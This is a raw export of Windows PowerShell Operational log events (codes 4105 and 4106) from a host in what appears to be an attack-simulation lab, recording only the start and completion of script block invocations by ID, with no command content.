ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042123
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042121
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042120
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042103
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042097
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042075
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042074
Keywords=None
